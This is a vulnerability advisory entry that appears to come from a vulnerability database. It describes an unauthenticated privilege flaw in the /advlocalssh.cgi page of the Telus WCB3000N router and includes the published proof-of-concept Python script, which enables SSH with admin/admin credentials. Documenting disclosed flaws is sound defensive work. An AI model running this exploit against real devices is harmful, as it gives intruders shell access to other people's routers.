Telus WCB3000N 0.16.2.5 SSH /advlocalssh.cgi privileges management

Summaryinfo

A vulnerability classified as critical was found in Telus WCB3000N 0.16.2.5. This affects an unknown part in the library /advlocalssh.cgi of the component SSH. The manipulation results in privileges management. The attack can be launched remotely. Moreover, an exploit is present. Applying restrictive firewalling is recommended.

Detailsinfo

A vulnerability was found in Telus WCB3000N 0.16.2.5. It has been classified as critical. Affected is an unknown function in the library /advlocalssh.cgi of the component SSH. The manipulation with an unknown input leads to a privileges management vulnerability. CWE is classifying the issue as CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was disclosed 11/07/2016 by Andrew Klaus as Actiontec WCB3000N (Telus Branded) Local Unauthenticated Privilege Elevation as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. The vendor was not involved in the coordination of the public release. The exploitability is told to be easy. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details and a public exploit are known. This vulnerability is assigned to T1068 by the MITRE ATT&CK project.

A public exploit has been developed by Andrew Klaus and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:

import requests
ssh_data = {"command": "apply",
            "mypage": "adv_localssh.html",
            "advanced_ssh_enable":"1",
            "advanced_ssh_username":"admin",
            "advanced_ssh_password":"admin",
            "advanced_ssh_port":"22",
            "advanced_ssh_timeout":"",
            "sel_ssh_timeout":"1800",
            "custom_ssh_timeout": ""}
s = requests.session()
s.post("http://<device_ip>/advlocalssh.cgi", ssh_data)

It is possible to mitigate the weakness by firewalling tcp/22 (ssh).

Further details are available at seclists.org. The entry VDB-93281 is pretty similar. If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Vendor

• Telus

Name

• WCB3000N

Version

• 0.16.2.5

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Discussion